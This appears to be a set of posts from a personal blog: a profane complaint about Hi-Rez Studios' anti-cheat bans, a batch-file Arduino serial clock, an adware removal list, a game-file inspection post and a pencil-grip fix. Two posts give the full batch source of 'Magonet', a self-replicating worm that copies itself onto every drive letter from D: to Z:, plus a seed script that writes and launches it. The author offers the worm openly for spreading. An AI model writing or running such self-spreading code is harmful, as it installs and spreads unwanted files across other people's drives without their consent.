Hi-Rez Studios -- What in the actual fuck are you doing?

1. Your installers are broken as fuck - If I install overlapping programs (let's say I have SMITE installed and I want to play Tribes: Ascend and Paladins too), your installer messes itself up and refuses to install. Way to go, Hi-Rez!

2. InstallHirezService.exe DOES NOT EXIST when that installer messes up. So your help articles are fucking useless.

3. HiPatchService watches you like NSA and bans your account if you try to run Injector, Process Monitor, Cheat Engine or Winject. Even if you do NOT have the fucking game running.

4. Thus, when I used Cheat Engine for Borderlands 2 (SINGLE PLAYER OF COURSE.) while having SMITE installed but not running, my account just got permabanned. What the fuck?

5. Your EULA does NEVER state that you assholes would be monitoring me 24/7 to see if I have CE or WI running. You lying bastards!

6. Yes, I agree that having CE and SMITE open at the same fucking time is a sure way to get banned. But what the fuck -- just having your fucking game installed and playing something that is NOT related to your goddamn game with cheating tools is a way to get banned in the face and my testicles plus my ass? IT IS NOT, YOU FUCKING LYING ASSHOLES.

7. Oh, and when the installer messes up, Hi-Rez Authenticate service disappears from the list along with the uninstaller. And the Diagnostics tool still says that I have to uninstall it myself, while it just does not allow me to uninstall it. (The process is un-killable)

So the conclusion is:

a) They ban you in your face for just having the game installed and running the cheating tool at the same time their monitoring service is running.

b) They do not refund in-game purchases. (Not my case but people have suffered this)

c) They give you the most broken piece of shit and assumes you are satisfied with it. (At least it is free-to-pay (sic).)

I am deeply disappointed by your service, Hi-Rez Studios.

Go away, and never see me again. 

I don't want to hear your stupid excuses.

Extremely easy Arduino Serial clock (requires Windows PC)

Since most of articles on the internet was talking about using RTC and using Serial connection to keep the time synched and none of them told me about how to actually use serial connection and send whatever I want outside of Arduino IDE automatically, here's a script that will make a decent clock that is bound to your computer.

1. Program Arduino with SerialDisplay example.
2. Wire up display.
3. Write this code, changing the "COM18" part to the port Arduino is connected to.

@echo off
:a
set /p x="%time%" <nul >\\.\COM18
timeout /t 1 >nul
goto a

4. Save this as (whatever).cmd/bat and leave it running.
5. Voila, it's working!! Or not.

If it doesn't work:
1. Have you checked what port Arduino is connected to? You are supposed to change the "COM18" part to the port Arduino is getting signal from.
2. Are you sure your Arduino is actually connected? Try different USB ports.
3. Are you using battery power? This requires constant connection to your computer.

Note: RX LED should flash once a second.

PoC Batch Worm update: Serious reproduction error corrected

Entire code below. Please delete old version.

@echo off
echo Magonet PoC Worm v2.0
echo (C) 2016 Mango / Thor. All rights reserved.
echo This is a Batch Proof-of-Concept worm that requires your action to spread.
echo This worm just spreads and does nothing but dropping itself to drives plugged in.
:: Proof-of-Concept Sneakernet Worm
:: Please do not modify my code.
:: 2016 Mango / Thor, all rights reserved.
:: This worm "virus" should never cause any damage to your data.
:: If it did/does, it is possible that you have gotten a variant/modified version of my PoC worm.
:: My worm just drops itself into your desktop.
:: Once you open it, it drops itself to other drives.
:: It does nothing. It just spreads.
:: Oh, and this worm is called "Magonet", like "Magnet".
copy %~0 /a C:\Magonet.cmd /y
copy C:\Magonet.cmd /a D:\ /y
copy C:\Magonet.cmd /a E:\ /y
copy C:\Magonet.cmd /a F:\ /y
copy C:\Magonet.cmd /a G:\ /y
copy C:\Magonet.cmd /a H:\ /y
copy C:\Magonet.cmd /a I:\ /y
copy C:\Magonet.cmd /a J:\ /y
copy C:\Magonet.cmd /a K:\ /y
copy C:\Magonet.cmd /a L:\ /y
copy C:\Magonet.cmd /a M:\ /y
copy C:\Magonet.cmd /a N:\ /y
copy C:\Magonet.cmd /a O:\ /y
copy C:\Magonet.cmd /a P:\ /y
copy C:\Magonet.cmd /a Q:\ /y
copy C:\Magonet.cmd /a R:\ /y
copy C:\Magonet.cmd /a S:\ /y
copy C:\Magonet.cmd /a T:\ /y
copy C:\Magonet.cmd /a U:\ /y
copy C:\Magonet.cmd /a V:\ /y
copy C:\Magonet.cmd /a W:\ /y
copy C:\Magonet.cmd /a X:\ /y
copy C:\Magonet.cmd /a Y:\ /y
copy C:\Magonet.cmd /a Z:\ /y
echo Just delete Magonet.cmd from your drives. No harm done. >%userprofile%\Desktop\Disinfection_Guide.txt

Proof-of-Concept Batch Worm: Magonet.a

Entire source code below.

Under any circumstances, DO NOT MODIFY MY CODE.

@echo off
echo Magonet Seed File
echo (C) 2016 Mango / Thor. All rights reserved.
echo This is a Batch Proof-of-Concept worm that requires your action to spread.
echo This worm just spreads and does nothing but dropping itself to drives plugged in.
:: Proof-of-Concept Sneakernet Worm
:: Please do not modify my code.
:: 2016 Mango / Thor, all rights reserved.
:: This worm "virus" should never cause any damage to your data.
:: If it did/does, it is possible that you have gotten a variant/modified version of my PoC worm.
:: My worm just drops itself into your desktop.
:: Once you open it, it drops itself to other drives.
:: It does nothing. It just spreads.
:: Oh, and this worm is called "Magonet", like "Magnet".
echo @echo off >C:\Magonet.cmd
echo :: I am a traveling worm. Drop me at the next computer. >>C:\Magonet.cmd
echo :: I am totally harmless. I do not aim to cause harm. I love you. Please just run me. >>C:\Magonet.cmd
echo :: I was created only to spread. I do not cause any damage. I can't do anything bad. >>C:\Magonet.cmd
echo :: Please just run me once. That's all I want from you. >>C:\Magonet.cmd
echo :: My name is Magonet. Copyright 2016 Mango / Thor. All rights reserved. >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a D:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a E:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a F:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a G:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a H:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a I:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a J:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a K:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a L:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a M:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a N:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a O:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a P:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a Q:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a R:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a S:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a T:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a U:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a V:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a W:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a X:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a Y:\ /y >>C:\Magonet.cmd
echo copy C:\Magonet.cmd /a Z:\ /y >>C:\Magonet.cmd
echo cls >>C:\Magonet.cmd
echo echo To disinfect: Just delete Magonet.cmd from your drives. No harm done. >>C:\Magonet.cmd
echo pause >>C:\Magonet.cmd
C:
cd..
start C:\Magonet.cmd
echo Just delete Magonet.cmd from your drives. No harm done. >%userprofile%\Desktop\Disinfection_Guide.txt

Debunking the myth: Silicon Knights' Too Human Is Not Based On UE3? Not true!

 NOTE: You cannot buy this game from anywhere now, as U.S. Court has ordered all physical copies and source codes of the game destroyed and erased. For more information, search for Silicon Knights Unreal Engine. (Except for second-hand or third-hand sellers)

I just dumped the DVD image to computer to take a look at what it was made out of, with some help from members of game cracking group I can't tell the name of.

So here's one of the files...nice try people, but you just lost. It's based on Unreal Engine.

(Note: Its original extension was .INF)













"Hey, that file might be fake!," you ask? How about these?

...Or these?

It's unfortunate SK decided to sue Epic Games. They lost, and their fame went away with their destroyed copies of games and source codes.

(Disclaimer: I don't even have the console. I cannot play it.)

Adware removal: W32.Winexpand and more

W32.Winexpand

Info:
This adware randomly opens advertisement pages and hijacks start page of Internet Explorer.
Removal:
This Adware drops files into WinExpand_(internal version number, or im0s) folder located at Program Files and Temp folder.
To remove this adware, stop processes starting with winexpand with Process Hacker or similar tools, then delete the folder and files.

W32.Windowstab

Info:
This adware opens shopping mall pages and download sites when Internet Explorer starts.
Removal:
This is similar to WinExpand; Use MBAM or FixMeStick to clean it after deleting folders and files located at Program Files and Temp folder.

W32.SKeyPang

Info:
This adware pops up advertisements on pages opened on Internet Explorer.
Removal:
Delete folders including "keypang" in the name in Program Files and Temp folder, as well as AppData/Roaming folder.

W32.Searchlike

Info:
This adware opens popup windows showing advertisements on the bottom right hand corner.
Removal:
Remove folders located at Program Files; Use ATTRIB command to remove SYSTEM file tag.

W32.Wiseman

Info:
This adware is known for aggressive advertisements. This adware injects advertisements into pages you surf online, and removes few ad blockers.
Removal:
Stop processes named "wiseman.exe", then delete folder named "SSI" in Program Files and delete installer located at Temp folder.

W32.WindowsOptimize

Info:
This adware masqurades as "system optimizer". This program doubles as fake antivirus.
Removal:
Delete folders named "WindowsOptimize" in Program Files.

W32.Criteo

Info:
Yes, it's THAT Criteo. (Criteo Advertisement Platform)
Removal:
Stop processes named "criteo.exe" and delete folders named "Criteo" from Program Files, then delete installers from Temp folder.

Fixing Zebra Olno's oily grip problem

This mechanical pencil is great; Unlike its father model, this one has bigger grip and you can extend graphite rod's length by slightly pressing notch between upper and lower part of the product inside your hand without reaching for the end of pencil for the button.
But the problem is, after some use, oily substance will cover the outside of the grip and that will seep into your blotting paper and newspaper, and probably end with a part of toner getting transferred to the grip itself.

Here's how to solve it by dissolving all that oil and extracting it from the grip itself.

Disassemble mechanical pencil and take grip part from the main body.
Prepare a flat or long airtight container, small pill bottle or even disposable plastic container would be enough. (Use plastic wrap to seal it)
Drop the grip in mixture of isopropyl alcohol and dish soap.
Leave the container sealed for 2 days or longer.
Remove grip from container and wash it in running water (hot or cold) for few minutes.
You'll see some opaque things floating around too, but disregard it.
Thoroughly wash it. Vigorously. Really hard.
Ta-da, now the oily feeling is gone.

If you start to feel or see oily substance leaking in and out of the grip, repeat it.